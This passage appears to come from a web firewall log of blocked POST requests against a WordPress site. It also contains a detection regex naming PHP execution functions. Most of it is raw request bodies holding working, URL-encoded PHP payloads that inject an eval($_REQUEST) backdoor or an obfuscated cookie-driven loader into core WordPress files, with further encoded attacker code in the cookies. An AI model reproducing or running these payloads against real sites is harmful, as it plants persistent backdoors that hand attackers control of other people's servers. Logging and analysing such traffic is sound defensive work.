"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2076\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:45:23","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Uu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nUu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:26","103.143.207.18","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\npA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:31","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4290\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nKY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:33","192.3.12.164","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fp